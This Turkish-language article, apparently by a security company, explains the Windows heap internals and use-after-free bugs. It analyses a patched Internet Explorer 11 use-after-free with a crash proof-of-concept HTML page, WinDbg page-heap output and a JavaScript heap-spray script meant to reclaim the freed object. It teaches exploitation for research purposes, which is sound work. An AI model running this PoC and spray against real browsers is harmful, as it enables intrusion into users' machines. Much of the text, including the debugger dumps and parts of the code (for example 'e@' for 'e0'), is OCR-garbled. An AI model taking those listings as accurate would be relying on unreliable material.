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Use After Free Zafiyetleri
Giris ve Heap Mimarisi

Bu makalemizde browserlarda genelde yaygin olarak kesfedilen Use After Free zafiyetlerini ve exploiting
yontemini ele alacagiz. En basta detaylica Heap mimarisine, Alloc / Free islemlerinin arka planda nasil
cahistigina, UAF zafiyetlerinin temeline, heap spraying yontemine ve yeni d6nlem mekanizmalarina deginecegiz.

Use After Free zafiyetini "heap" tabanl bir hafiza bozulmasi (memory corruption) olarak nitelendirebiliriz.
UaF zafiyetlerinin nasil olustuguna gegmeden 6nce heap hafiza alani yapisina biraz deginmemizin faydali
olacagini disUiniyorum.

Heap programlarin dinamik bellek ihtiyacini karsilayan hafiza alanidir. Heap'de, bir uygulama hafiza alanina
ihtiyaci oldugunda "dinamik’ olarak tahsis (allocate) eder, o hafiza alanini kullanir ve isi bittiginde birakir yani
free() eder. Heap, genelde birislem icin gerekli hafizanin énceden bilinmedigi ve stack in yapisina uygun
olmayan biyik boyutta hafiza islemlerinde kullanilir.

Windows mimarisinde, isletim sisteminden bellek istemenin-tahsis etmenin birden fazla yolu vardir. (Standart C
fonksiyonlari, Windows API vb.) Asagidaki resimde Windows isletim sisteminin bellek yonetim yapisini
gorebilirsiniz.

Application
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Default  Runtime npphca_t.lon
Process Heap Specific —
Heap Heaps
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[NTDLL] Heap Manager
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Virtual Memory Manager

Figure 6.1* - Windows Memory Management

Sekilde windows isletim sisteminin hafiza yonetim yapisini goriyoruz. Bir process basladigi anda, heap
manager otomatik olarak “default process heap” diye adlandirilan bir heap yaratir. Uygulamalar default
process heap'i kullanabilecegi gibi, HeapCreate() vb. APl lar ile kendine 6zel istedigi kadar ek heapler
olusturabilir. Exploiting ve dnlem mekanizmalari asamasinda default process heap ve custom heapleri tekrar
hatirlayacagiz ©
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Kullandigimiz ¢ kitiphaneleri (malloc vb.) veya Windows API lari, sekilde gosterildigi gibi NTDLL araciligiyla
sanal hafiza alani tahsis islemi yapmamiza olanak saglamaktadir. Simdi, Windows Heap Manager’a g6z atalim
ve Front End Allocator yapisini inceleyelim.

Front End Allecator

Look Aside Table

0 —* unusad
1 —_1E

2 — 24

3 — 32
127 —s 1024

Back End Allocator
Free Lists Segment List
0 — Variable size Segment 1 | ]
1 — unused Segment 2 | |
2 — 16
3 —_—24 Sagment x | |
127 — 1016

Figure 6.2* Heap Manager

Front End Allocator, heap yonetiminde Back End Allocator ile baglantiyi saglayan bir optimizasyon katmani
diyebiliriz. Windows sistemlerde 2 adet Front End Allocator bulunmakta;

1-) Look aside list
2-) Low Fragmentation

Vista'ya kadar bUtin windows isletim sistemlerinde default olarak Look aside list kullanilmaktaydi. Vista ve
Uzeri versiyonlarda ise default olarak Low Fragmentation kullanilmakta. Amacimiz UaF zafiyetlerini ve
Malloc/Free yapisinin temelini anlamak oldugu i¢in bu yapilardan birini ele alacagiz; Look aside list.

Hafizada bellek tahsis ederken isletim sistemi, bunu Lookaside List sistemini kullanarak yapar. Look aside list,
resimde gorduguniz gibi 128 adet bagli listeden (linked list) olusan bir tablodur. Tablodaki her bir bagl liste
belli uzunlukta (16'dan 1024 byte'a kadar) bos bloklari (free heap blocks) tutar.

Figure 6.2'de gordiginiz, Sifirile gosterilen bolge kullanilmaz. Her bir heap block 8bytelik bir metadata icerir.
Yani eger tahsis islemi yaparken istenilen alan 24byte ise , bu istek Front End Allocator'a ulastiginda, Front End
Allocator tabloda 32 bytelik bir heap block bolgesini (24byte istenilen alan + 8byte Metadata) tutan bagl listeyi
arar.

Eger 32 bytelik bir free heap block mevcutise (bu alan, Figure 6.2'de, 3. bagli listeye denk gelmekte) tahsis
islemi gerceklesir. isimiz bittiginde kullandigimiz alani free() ederiz ve 32 bytelik alani heap manager tekrar
yerine (free listse) geri koyar.
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Boylece eder daha sonra uygulama tekrar ayni bUyuklikte (32 byte) bir alana ihtiyaci oldugunda, tekrar free
lists'de duran bu block ¢agrilir. Bu yapiyi biraz Caching’e benzetebiliriz, free lists yapisi heap hafiza islemlerinin
daha hizli ve efektik kullanmamizi saglar. Gelen “n” bytelik bellek tahsis istegini tablodaki kaginci indexe
gonderecegini n+8/8-1 seklinde formule edebiliriz.

Look Aside Table

0 —»

1 —®| 16 |—p 16 |—W 1B

2 —»

=
—>

127 |—

Figure 6.3 - Lookaside Table

Yukaridaki figure bakalim ve uygulamamizin 16bytelik bir bellek tahsis isteginde bulundugunu farzedelim. 16+8
= 24 bytelik alana ihtiyac var.

Heap Manager 16+8/8-1 formiluyle 2. listeye bakacak ve uygun bir alan olmadigini gérince bu allocation
islemini Look aside Listden karsilayamayacak ve bu tahsis islemini Back end allocator a yonlendirecek.
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Figure 6.4 - Free Lists

Back end allocator, front end allocator yapisina benzer free list adli listelerden olusan bir tablodur. Free Listler
belirli bir heapdeki uygun heap bloklarini takip eder ve bilgisini tutar. Back end allocator’a istek geldiginde, heap
manager free listlere danisarak gerekli tahsis islemlerini gerceklestirir. Bu islemi free list bitmapleriyle
gergeklestirir. 128 bitden olusan Bitmapler, free heap block iceriyorsa 1, icermiyorsa o’dan olusur. Asagidaki
resimde freelist bitmap 6rnegini gorebilirsiniz.

001 23 4 5.
[1fofafofofof..|

Figure 6.5 - Freelist Bitmap
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Figure 6.4 ve 6.5 birbiriyle uyumlu. Backend allocator'a 8bytelik tahsis istegi geldiginde (8+8=16) , heap
manager freelist bitmapde 2. indexe bakar [freelist2’de 16bytelik free heap bloklari mevcut oldugundan,
bitmapdeki 2.index goruldigi gibi “1” degerini icermektedir.] ve tahsis islemini gerceklestirir.

Konuyu biraz da debugger yardimi ile inceleyelim ve teoride 6grendigimiz noktalar pratikte dogrulayalim.

#include "stdio.h"
#include "conio.h"

#include "windows.h"

int main(int argc, wchar_t* pArgs[])

{
BYTE* pAlloca=NULL;
HANDLE hProcessHeap=GetProcessHeap(); //default process heapikullan
pAlloci=(BYTE*)HeapAlloc(hProcessHeap, o, 16); // default process heap’de 16bytelik allocation

HeapFree(hProcessHeap, o, pAlloc1); /ffree

Yukaridaki kodu derleyip, windbg icerisinde acalim ve main() fonksiyonunda breakpoint ile duralim;

Gordiguniz Uzere uygulama, kendisi bir HeapCreate() etmek yerine GetProcessHeap() API* ni ¢agirarak her
process’a atanan “default process heap”i kullaniyor. Default process heap’den onceki kisimlarda bahsetmistik.
Uygulamada sonrasinda bir alloc ve free islemleri gerceklesiyor.

Windbg'da breakpointimiz tetiklendikten sonra, process hakkinda bir¢ok bilginin tutuldugu PEB (Process
Environment Block) icerigini dump edelim ve heap ile ilgili kisimlara bakalim;

0:000> dt _PEB @$peb

ntdIl!_PEB
+0x000 InheritedAddressSpace: 0"
+0x001 ReadlmageFileExecOptions: o "

+0x002 BeingDebugged :oxa

.. ship

+0x088 NumberOfHeaps : 4
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+0x08c MaximumNumberOfHeaps : ox10
+0Xx090 ProcessHeaps : oxycg7ffeo ->0x00240000
+0x094 GdiSharedHandleTable : (null)

+0x098 ProcessStarterHelper : (null)

+0x200 SystemDefaultActivationContextData : 0x00230000
+0x204 SystemAssemblyStorageMap : (null)
+0x208 MinimumStackCommit : o
0:000> dd oxycg7ffeo
7c97ffeo 00240000 00340000 003€0000
7¢97fffo 00000000 00000000 00000000 00000000
7€980000 00000000 00000000 00000000 00000000
7¢980010 00000000 00000000 00000000 00000000
7¢980020 06740672 00020498 00000001 7¢9b2000

7¢980030 7ffd2de6 00000000 00000005 00000001

PEB detaylarini dump ettigimizde, oxogo * daki ProcessHeaps elemani, process heaplerin tutuldugu bir array.
Bu arrayin (ox7cg7ffeo) adresini dump ederek kullanilan heapleri gériyoruz; 00240000, 00340000, 00350000
ve 003e0000

0:000> 'heap

NtGlobalFlag enables following debugging aids for new heaps: tail checking
free checking
validate parameters

Index Address Name Debugging options enabled

1: 00240000 tail checking free checking validate parameters
2: 00340000 tail checking free checking validate parameters
3: 00350000 tail checking free checking validate parameters
4: 003€0000 tail checking free checking validate parameters

Ayni sekilde 'heap komutu ile de uygulama tarafindan kullanilan heapleri gérebiliriz
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Uygulamada default process heap kullanmamiza ragmen birden fazla heap goriyoruz. Bunun sebebi
uygulamalarin dolayli olarak kullandigi modillerin, bilesenlerin kendisi icin yarattigi heap alanlarini
kullanmasidir. Bunun en basit 6rnegi, C Runtime kitUphanesidir. C Runtime kitiphanesinin kendi heap'ini
create edip kullandigini Windows Memory Management figirinde gérmustik. Bizim uygulamamiz kod
tarafinda default process heap'i kullandigi icin 00240000 heap pointeriile ilgilenecegiz. Her zaman ilk pointer,
default process heap’e isaret eder.

Bu durumu debuggerda ayni zamanda dogrulayabiliriz, uygulamamiz GetProcessHeap() API* ni cagirdiginda
hangi heap alaninin kullanildigini gorelim;

n04013fd efd466=0000 call imagel0400000+0=8048 (004080487

o-o000x t

2ax=00000001 ebx=7ffdelil =cx=00000001 edx=7?7chlas8 e=1=0131f798 edi=0131faf2

2ip=00408048 e=sp=0022ff3c =ebp=0022ff68 iopl=0 nv up i pl nE na po nc

ce=001b s===0023 d==0023 e=z=0023 f{==003b g==0000 ef l=00000202

imagel0400000+0=3048

ao408048 ££2574e214000 Jmp dyord ptr [imagel0400000+40z=l174 (0040=1743] d
o:o00: t

eax=00000001 ebzx=7{fdel0l =cxz=00000001 edx=77cblasd e=1=0131£798 edi=0131fe6f2

eip=7cilactl esp=0022{f3c ebp=0022ff68 i1opl=0 nv up 21 pl nE na po nc

c==001b ===0023 d==0023 e==0023 {==003b g==0000 efl=00000202

kernell2 | GetProcessHeap:

7c8lackl 643118000000 mow eax,dwvord ptr f£=:[00000018h] f=.003b: 00000018
o-o000x t

gax=7ffdd000 ebx=7ffdelil =cx=00000001 edx=77chlas8 e=1=0131f798 edi=0131faf2

eip=7cBlack? esp=0022ff3c ebp=0022ff68 iopl=0 nv up i pl nE na po nc

c==001bk ===0023 d==0023 e==0023 f{==003b g==0000 ef|ll=00000202

kerneli? | GetProcessHeap+0=6

7c8lace? 8b4030 mow cax.dvord ptr [eax+30h] d=:0023:7ffdd030=7ffd
0:000: pt

eax=00240000 ebz=7{fdel0l =cxz=00000001 edx=77cblasd e=1=0131£798 edi=0131fef2

eip=7cilacekd esp=0022{f3c ebp=0022ff68 1opl=0 nv up 21 pl nEg na po nc

ce=001b s===0023 d==0023 es=0023 {==003b g==0000 efl=00000202

kerneliZ | GetProcessHeap+lx=c

7c8laced <3 ret

Gordiguniz Uzere uygulamamiz GetProcessHeap i ¢cagirdiginda donilen deger (EAX) = 00240000. Bu sayede
default process heap ' in daha 6nce buldugumuz gibi 00240000 oldugunu dogrulamis olduk.

Her bir heap, kendine ait bir _HEAP data structure’i barindirir. _Heap structure’i, kullanilan heap alant ile ilgili
bitun detaylarin, pointerlarin tutuldugu ana yapidir. Bu yapi, uygulamanin yapacagi Allocation ve Free cagrilar
ile ilgili bUtun yonetim ve takip isini Ustlenir.

_HEAP structerini yine debugger Uzerinden dump ederek bitin detaylariyla inceleyebiliriz;
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B:8808> dt _HEAP H8248800808
ntdll?_HEAP

+@xA88 Entry : _HEAF_ENTRY
+AxAA8 Signature : Bxeeffeeff
+AxP@Ac Flags @ Ax5000806 2
+AxP18 ForceFlags : Ax40088860A
+Bx@14 UirtuwalMemoryThrezshold = Bxfedd
+AxA18 SegmentReserve : BxilBBE8A
+AxP@1lc SegmentCommit @ Bx2000

+BxB20 DeCommitFreeBlockIhreshold
+BxB24 DeCommitTotalFreelhreshold
+Ax@28 TotalFreeSize I BAx24ad
+AxP2c MaximumAllocationSize : Bx7ffdefff
+BxA3A0 ProcessHeapsListIndex = 1

+AxA32 HeaderUalidateLength : Bx6@8
+Ax@34 HeaderUalidateCopy = C(null)>

+AxPA38 MNextAvailableTagIndex - @

Bx2008
Bx2088

+BxB3a MaximumTaglndex = 8
+AxA3c TagEntries : Cnull>
+Ax@48 UCRSegments : {null>

+AxP844 UnusedUnCommittedRanges : BAx@0248598 _HEAP_UNCOMMMITED_RANGE

+BxB48 AlignRound T Bxd?

+AxA4c AlignMask : BxfFFFEffR

+@xB50 UlrtualﬂlluchluckS : _LIST_ENTRY [ BAx248058 - 0x240858 ]
+BxB58 Segments : [64]1 BxB8248648 _HEAP_SEGMENT

+Bx158 u I __unnamed

+Ax168 u2 I __unnamed

+HAx1lba AllocatorBackTracelndex = A

+Bx16c MonDedicatedListLength = 1

+Ax178 LargeBlocksIndex = {nulll

+Ax174 PseuwdoTagEntries = (nulll>

+1x178 FreeLists : [128]1 _LIST_ENTRY [ Bx242daf — Bx242da@ 1

+Bx578 LockUariable : Bx@0249608 _HEAP_LOCK
Resimde dt komutulu ile uygulamamizin kullandigi default heap process ' in _HEAP structerini gériyoruz.
Merakli okuyucular, uygulamanin HeapAlloc ve HeapFree fonksiyonlarini da debugger Gzerinde Pratik olarak

inceleyebilir ve alloc/free islemlerinin FreeLists ile iliskisini takip edebilir.

Use After Free

Soyut konulari somut bir 6rnek haline getirmek biraz zor ancak kafanizda canlanmasi agisindan belki basitce
soyle dusinebilirsiniz. Heap, kasalarla dolu bir oda. Banka kasalari odasi gibi hayal edin :) Siz emri verdiginizde
istediginiz boyutta bir kasa olusuyor ve size adresi ile kasanin yeri gosteriliyor. Siz gidip o kasay kullanip, isiniz
bittiginde tekrar geri veriyorsunuz kasa bosa ¢ikiyor. Ornegin 24bytelik bir kasa istedeniz, kullandiniz ve isiniz
bitince free() ettiniz, kasa freelists e koyuldu. Eger bir baskasi ayni boyutta (24byte) kasaya ihtiya¢ duyarsa,
banka ynetimi bize yine freelists deki bu kasayi sunacak. Béylece bu banka hizli ve efektik hizmetleriyle
taninacak ©

Kisacasl, kasa isteme islemine allocation diyoruz (malloc, heapalloc vb fonksiyonlar ile), yani hafiza ayinyoruz.
Kullandiktan sonra tekrar geri vermeye de free() islemi diyoruz. Yani odadan kendimize bir hafiza aliyoruz
kullaniyoruz ve isimiz bittiginde geri birakiyoruz (free).

iste UAF aciklari tam olarak bu allocation ve free iglemleriyle alakali. UAF agiklari, zaten free() edilmig bir
pointerin daha sonra tekrar kullanilmaya / erisilmeye calisildiginda olusur.
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UAF zafiyeti olustugunda genelde uygulamada bir kaza (crash) meydana gelir ve debugger'da Access Violation
hata kodu gorilir. Cinkd kullaniimaya calisilan pointer igin tahsis edilen hafiza alani free edilmistir ve o hafiza
alanina artik erisilemedigi icin bu hatayi verir.

char* ptr = (char*)malloc (SIZE);
if (err) {

abrt=1;

free(ptr);

3

if (abrt) {
logError("operation aborted before commit”, ptr);

}

OWASP websitesinden alinan yukaridaki kod pargasi, UAF agikligina ornek teskil etmektedir. Goruldigu Gzere
"err" kosulu olustugunda pointer free edilmis ancak ayni pointer daha sonra tekrar logError fonksiyonunda
kullanilmistir. Bu durum UAF hatasina sebep olmaktadir.

Internet Explorer 11 Use After Free

Heap mimarisini ve UaF zafiyetlerini anladiysak, artik bir uygulama Gzerinde bu zafiyeti ve istismar yonetimini
inceleyebiliriz. Bunun icin gegtigimiz yillarda Internet Explorer'da kesfettigimiz bir Use After Free agigini ele
alacagiz. Asagidaki kod , Interent Explorer 11 ‘de bir crashe sebep olmaktadir. Bu zafiyet 2014 yiliicerisinde
kapatildi. Makaleyi yazarken kullandigimiz Internet Explorer 11.0.9600.16476 sirimU bu zafiyetten
etkilenmektedir. Testleri Windows 8.1 32 bit Uzerinde gergeklestirdik.

<!DOCTYPE html>
<html>
<title>CF367D4.E9218254E</title>
<body>
<script>
function grinder()
{
try { document.body.contentEditable = 'true'; } catch(e){}
try { var e@ = document.createElement("frameset"); } catch(e){}
try { document.body.appendChild(e@); } catch(e){}
try { e@.appendChild(document.createElement ("AAAAAAAAAAAAAAA")); } catch(e){}
try {
e0.addEventListener("DOMAttrModified",function(){document.execCommand("SelectAll");e@[ 'bo
rder']="'-4400000000';}, false); e@.focus();} catch(e){}
try { e@.setAttribute('iframe'); } catch(e){}
try { document.body.insertBefore(e@); } catch(e){}

}
grinder();</script></html>
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Bu kodu Internet Explorere 11 ile a¢tigimizda asagidaki crash ile karsilagiyoruz;

fodLoad: 70940000 Y0abd4000 C: ~Windows~SystemiZ~uiautonationcore.dll

{718 .def): Jaccess wviolation — code 0000005 (111 =zecond chance 1117

zax=02f%6fc ebx=02{%bfic ecx=03d53398 =d=x=02£9a718 e=1=1a7562f{7 =di=03d453398
=21p=62a955a3 e=sp=02f%a6c8 ebp=02{i%a6d4 i1opl=0 nv up 21 pl n= na po nc
z==001b ===0023 d==0023 e==0023 {==003Lb g==0000 ef1=00010202

exx ERROE: Symbol file could not be found. Defaulted to export symbols for C:-Wir
YSHTHL | Ordinall0?+0xechdd:

32a955a3 feOR08 test byte ptr [e=1].8 d=:0023:1a7562£7=77

Browser zafiyetleri genelde heap tabanlidir. Javascript,html, image, font gibi bir cok farkl, boyutu 6nceden belli
olmayan yapilar yorumlamak icin dinanmik hafiza tahsisi gerekir. Crashi analiz etmek igin dncelikle Internet
Explorer (iexplore.exe) process'i icin Page Heap'i aktif hale getiriyoruz. Page Heap sayesinde bir heap bozulmasi
varsa bunu bozulma gergeklestigi anda tespit edecegiz. Page Heap mekanizmasi debugging / hata tespiti ve
hatalarin ana nedenini bulmak igin oldukca faydali.

Peki page heap bunu nasil yapiyor ? Page heap'i bir process icin enable ettigimizde uygulamayi default memory
allocator yerine pageheap allocator 1 kullanmasina zorlarz. Pageheap allocator, uygulamanin talep edecedi her
bir hafiza tahsis (alloc) islemi icin bir page tahsis eder. Her bir tahsis isleminde sunulan page’in hemen ardindan
pageheap kendisi de bir koruma page ‘i (guard page) olusturur. (Koruma page’i muhtemel bir VirtualAlloc(..., ...,
MEM_RESERVE, PAGE_NOACCESS, ...) ile olusturulur.)

Korumali page, PAGE_NOACCESS flagi ile nceden reserve edilmis bir memory pagedir. Dolayisiyla eger
uygulama kendi page’ini asarsa ve bu page’e yazmaya kalkarsa exception (page vioalation) olusur ve biz de
hatayi yakalariz.

Page heap ' in ¢calisma mantigini anladiysak, Internet Explorer icin pageheapi enable etmek igin gflags veya
Application Verifier yazilimini kullanabiliriz. Gflags ,default olarak Debugging Tools for Windows paketi
icerisinde gelmektedir.

slzerssMuszashisDezktopsdebugger_x86 >gf lags .exe ~i iexplore.exe +hpa +ust
urrent Registry Settings for iexplore.exe executable are: B2001000

ust — Create uwser mode stack trace database
hpa — Enahle page heap

Page heap'i enable ettikten sonra internet explorer uygulamasini tekrar ayni PoC koduyla crash edelim ve
MSHTML debug sembollerini yikleyerek crash’e g6z atalim;

0:006>r .=ympath srv#c: “~syn*https:-n=dl nicrosoft. con dowvnload-symbols

Symbol =earch path i=: =srv#*c: ~=yn*https . <on=d]l microsoft  comsdownloadssvymnbols
Expanded Symbol search path i=: srv*c:~syn*http=s:-sm=dl microsoft. comn-download-svynk
0:006> .reload

Feloading current modules

0:006> r

eax=067cdbd8 ebx=064b9c28 ecx=045l1lacll edx=0451abcl e=si1=0451acl0 edi=086d2£fd43
eip=6394lfed e=sp=0451ab%90 ebp=0451abal iopl=0 nv up 21 pl zr na pe nc
c==001k ===0023 d==0023 e==0023 f{f==003b g==0000 efl=0001024%
MSHTHML | CHarkupFPointer :  HoveToREeference+i=zlc:

63941fed fe0708 test byte ptr [edi].8 d=:0023:086d2£fd48="7

Crash, MSHTML!CmarkupPointer:MoveToReference+oxic fonksiyonunda. [edi] ile isaret edilen adresi 'heap
komutu ile inceleyelim.
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Command - Pid 3124 - WinDbg:6.12.0002.633 X86 N

0:006>r lheap —p —a eda
addre=s=s 086dZfd8 found in
_DPH HEAP ROOT @ 21000
in free-ed allocation { DFPFH_HEAFP BLOCE: Virthddr VirtSize)
dR81924: aedz000 2000
bdfaffc? werifier ! AVriDebugPageHeapFree+0=x000000c2
77780609 ntdll!REtlDebugFreeHeap+0=z00000032
7774258c ntdll |RtlpFreseHeap+0=z0006%aic
776d8755 ntdll |RtlFreesHeap+0=00000425
6398406 MSHTHL | CHMarkup: :FreeTreePo=+0x00000047
638fffac MSHTHL | CHarkupPointer: : UnEmbed+0x000000a0
63cE5bdS5d MSHTHL | CHarkupPointer: Thposition+0x00000029
bd4ectid MEHTHL |CHighlightSegmnent :  ~“CHighlightSegnent+0=z00000049
bddedbl? MSHTHL | CHighlightSegment : :Felease+0=0000001=
638c111d MSHTHL | TSmartPointer< IDispResource:  (Felease+0x0000000f
B3chZelf HSHTHL |CSelectionManager: :ChangeTracler+0=x00000020b
Bictdacd MSHTHL | CSelectionManager: SetCurrentTracker+0x00000013
64656f73 MSHTHL | CSelectionManager: Select+0=000007£1
64657508 MSHTHL |CSelectionManager: :Selectill+0=x00000460
B467cldd MSHTHML ICSelectillCommand PrivateExec+0x00000197

Burada gérdigimiz durum, MSHTML!CmarkupPointer:MoveToReference+oxic fonksiyonunda, test byte ptr
[edi], 8 satirinda kullanilan pointer, aslinda free edilmis bir alan. Free edilmis bir blok, tekrar kullaniimaya
cahsildigiicin Use After Free hatasi ile karsi karsiyayiz.

gax=08%9a6bd8 ebx=06b33c28 ecx=04c0ab50 edx=04cl0abli =e=i=04clabil =edi=08decfda

eip=b3fdlfied esp=0Udclaadl ebp=04claa=sl iopl=0] nv up 21 pl =zr na pe nc
c==001k ===0023 d==0023 e==0023 f{f==003k g==0000 ef1=0001024%
HMSHTHML | CHarkupFPointer :  HoveToReference+0xlc:

635d1fed f60708 test byte ptr [edi]. 8 d=:0023:08d6=fd8=""7

0:006: laddres=s =di

Tzage: FageHeap

Allocation Base: noadzo000

Ba=zs Address: 08de=000

End Addre=ss: 08dedonn

Fegion Size: goooioon

Tvpe: goozooon MEM FRIVATE
State: goooioon MEM COMMIT
FProtect: gooooonl PAGE HOACCESS
Hore info: lheap —p O0=x0=0000

Hore info: lheap —p —a Ox8decidd

0:006r dd mshtml!g_hFrocessheap L1
Bd43abcll 0200000

Pointerin adresine laddress ile baktigimizda ox2ocooo heap alanina ait oldugunu goriyoruz. Gordiginiz gibi
bu heap alani, mshtml kitiphanenin kullandigi, daha 6nce bahsettigimiz “default process heap”.

Peki bu zafiyeti nasil exploit edebiliriz? Exploit edebilmemiz icin tahmin edeceginiz Uzere free-ed olduktan
sonra kullanilan pointeri bir sekilde kontrol etmeyi basaramamiz gerekir. O halde artik Pointer KontrolU; Heap
Spraying konusuna gegebiliriz.



SIGNALSEC

BEYOND INTELLIGENCE

Use After Free Zafiyetleri ve Browser Exploiting |

Pointer Kontrolu: Heap Spraying

Heap Spray ilk defa 2000li yillarin baglarinda ortaya ¢ikan bir exploiting yontemi. Ozellikle browser exploitlerde
sikca tercih edilen bir yontem.

Heap spray’in temel mantigi, browserin kullandi§i process heap’de heap bloklari tahsis etmeye ve tahsis edilen
bu alanlari kendimi datamizla ile doldurmaya dayalidir. Bunu basarabilmemizi saglayan da Javascript, daha
dogrusu Javascript ile olusturulan objelerin ve stringlerin heap’de tutulmasi. Asagida 6rnek bir heap spray
javascript kodu bulunmaktadir;

<script>

var fakeobject = unescape("%u5254%u5041%u494d%ud54e"); //TRAPMINE
var mem = new Array(1000);

for(i =0; i < mem.length; i++) {
mem[i] = document.createElement('div');

}

for(i = @; i < mem.length; i++) {

mem[i] = mem[i].className = fakeobject;
}

</script>

Yukaridaki javascript kodu, for dongisu igcinde birden ¢ok DIV elementleri olusturuyor ve olusturdugu DIV
elementlerinin className 6zelligini (property) fakeobject degiskenindeki string ile dolduruyor. Bu kodun
Internet Explorer'da ¢alistirdiktan sonra debugger'da arka tarafta olanlara bakalim;

Command - Pid 3524 - WinDbg:6.12.0002.633 X86 -
0:026> = —a 0=00000000 Ox0fffffff "TRAPMIWE"

oobg0218 54 52 41 50 44 49 4= 45-00 00 00 00 OO OO0 0O 00 TRAPMINE. .. ... ..
0obg0z248 54 52 41 50 44 49 4= 45-00 00 00 00 00 00 0O 00 TRAPMINE. .. ... ..
00b80290 54 52 41 50 4d 49 4= 45-00 00 94 17 Be 2f 3b 3= TRAPHINE. .. . "~:«<
00b802c=0 54 52 41 50 44 49 4= 45-00 00 00 00 OO0 OO0 0O 00 TRAPMINE. ... ...
oobg02f0 54 52 41 50 44 49 4= 45-00 00 00 00 =0 00 0O 00 TRAPMINE. .. ... ..
00bB20350 54 52 41 50 44 49 4= 45-00 00 00 00 OO0 OO0 0O 00 TRAPMINE. .. ... ..
00bBS80368 54 52 41 50 44 49 4= 45-00 00 00 00 00 00 0O 00 TRAPMINE. ... ...
00bg0393 54 52 41 50 4d 49 4= 45-00 00 00 00 0O o0 o0 00 TRAPMINE. .......
00B203B0 54 52 41 50 44 49 4= 45-00 00 00 00 OO OO0 0O 00 TRAPMINE. .. .. ...
0obg0458 54 52 41 50 44 49 4= 45-00 00 00 00 00 00 0O 00 TRAPMINE. .. ... ..
oobg0470 54 52 41 50 4d 49 4= 45-00 00 00 00 00 o0 o0 00 TRAPMINE. .......
oob20482 54 52 41 50 44 49 4= 45-00 00 00 00 OO OO0 0O 00 TRAPMINE. ... ...
00bS04a0 54 52 41 50 44 49 4= 45-00 00 00 00 OO0 00 0O 00 TRAPMINE. ... ...
00b204BE2 54 52 41 50 44 49 4= 45-00 00 00 00 OO OO0 0O 00 TRAPMINE. .. .. ...
00b204d0 54 52 41 50 44 49 4= 45-00 00 00 00 OO OO0 0O 00 TRAPMINE. .. .. ...
00bS04=8 54 52 41 50 44 49 4= 45-00 00 00 00 OO0 00 0O 00 TRAPMINE. .. ... ..
ook20512 54 52 41 50 44 49 4= 45-00 00 00 00 OO0 OO0 0O 00 TRAPMINE. .. ... ..
00b20530 54 52 41 50 44 49 4= 45-00 00 00 00 00O OO0 0O 00 TRAPMINE. .. ... ..
00bS80548 54 52 41 50 44 49 4= 45-00 00 00 00 OO0 00 0O 00 TRAPMINE. .. ... ..
00b20560 54 52 41 50 44 49 4= 45-00 00 00 00 OO0 OO0 0O 00 TRAPMINE. ... ...
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className propertyleri heap’de string olarak alloc ediliyor ve boyutunu biz belirleyebiliyoruz. Browser
className’de yazdigimiz stringin uzunlugu kadar alan tahsis ediyor. Heap spray kodunu browserda
cahstirdiktan sonra windbg ile className olarak berlirttigimiz “TRAPMINE” stringini hafizada arattigimizda
birden fazla alanda TRAPMINE stringini gériyoruz. Stringimize karsilik gelen herhangi bir adresi alarak
inceleyelim;

Command - Pid 3524 - WinDbg:6.12.0002.633 X&6 R

03cBeldc0d 54 52 41 50 4d 49 4 45-00 00 00 00 00 00 00 00 TRAPMINE. . ......
03=8=378 54 52 41 50 44 49 4= 45-00 00 00 0O 00 OO 00 OO TRAPMINHE. . .. ... .
03c8=390 54 52 41 50 4d 49 4e 45-00 00 00 0O 00 OO 00 OO THRAPMINWNE. . . ... ..
03cB=3al 54 52 41 50 44 49 4= 45-00 00 00 0O 00 OO 00 OO TRAPMIHE. . .. ... .
03c8B=540 54 52 41 50 4d 49 4e 45-00 00 00 0O 00 OO 00 OO TRAPMIWNE. . . ... ..
0:026: 'heap —= 03cB82378

Entrv U=zer Heap Segmnent Size PrevSize Unused Flag=
03cB=e378 03c8e3dal 00be0OO0O  O3b£fOO0O00 29z2al fcE848 adi0  busy us
0:026> laddress 03c8e378

U=zage: Heap

Allocation Base: n3bfoooon

Baze Address: 03bfoooon

End Address: 03ca3non

Fegion Size: o00k3000

Type: goozo0oo HEM_FEIVATE

State: goooiooo HEM_COHHMIT

Protect : goooono4d FAGE FEADWEITE

Hore info: heap containing the address: lheap 0xbe0000

More info: heap entry containing the address: lheap —x Oxdcield?l

0:026> dd mshtml!g_hProcessheap L1
f43a6c10 O00BGOOODN

Ornegin TRAPMINE stringini gordigumiz 03c8e378 adresini 'heap —x komutu ile inceledigimizde stringin
oob6oooo heap alanina ait oldugunu gériyoruz. Kullanici tarafindan yaratilmis bir object de gordiginiz gibi
MSHTML ProcessHeap’de yer almakta.

Peki biz hafizayi istedigimiz obje/string ile doldurabildigimiz bu heap spray scripti ile bir dnceki UaF zafiyetini
nasil exploit edebiliriz? Pointer kontrolini nasil saglayabiliriz?

Bu noktada ilk kisimlarda bahsettigimiz heap mimarisini tekrar hatirlayalim. Look aside list ve Freelists in arka
planini detaylica incelemistik. Her ne kadar IE11/Win8.1"' de Low Fragmentation Heap kullanilsa da, ¢alisma
mantigi birbirine ok benzer. FreeLists calisma mantigini ele aldigimizda, hizli ve efektik kullanim icin bir nevi
cache mantigiyla ¢alistigini soylemistik. Ornegin uygulama, bir islemde 24 bytelik bir hafiza alanina ihtiyag
duydu, 24 byte alloc etti, kullandi ve bu alani free etti. Uygulama tekrardan 24bytelik bir tahsise ihtiyag duyarsa,
isletim sistemi freelistsden bir dnceki 24bytelik alani getirir.

Dolayisiyla, eger biz Use after Free zafiyetimizdeki mevzu bahis free edilmis object’in boyutunu (size) bulursak,
ve tam tamina ayni boyutta yeni bir object yaratirsak, isletim sistemi bize freelistsde bekleyen bu free-ed
object’in hafiza alanini dondUrecektir. Biz bu alani kendi olusturdugumuz object igin kullanabilecedimiziicin, o
alani istedigimiz gibi doldurabilecegiz. Bu sayede pointer kontrolUni saglayip , uygulamanin akigini
degistirmeyi basarabiliriz. Kisaca Use After Free zafiyeti istismarini 3 madddede sdyle siralayabiliriz;

- Program “X" objecti icin bir alloc ve free gerceklestirir
- Saldirgan “Z"” objectiicin “X" ile ayni boyutta bir alloc gerceklestirir
- Program free edilen “X" objectini tekrar kullanmaya ¢alisir ancak aslinda saldirganin “Z” objectine erisir
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Yukarida paylastigimiz heap spray kodu ile bunu kolayca saglayabiliriz, ¢cinky DIV className ile string olarak
istedigimiz boyutta alloc yapabiliyoruz ve bunlarin hepsi ayni process heap’de tahsis ediliyor.

Bunun icin tekrardan Internet Explorer’i crash eden PoC kodumuza dénelim ve free edilmis olan objectin
boyutunu bulalim. Object boyutunu bulmanin birden fazla yontemi mevcut;

1-) Object’in alloc edildigi fonskyionu IDA ile bulup , kag bytelik alloc yapildigini gorebiliriz

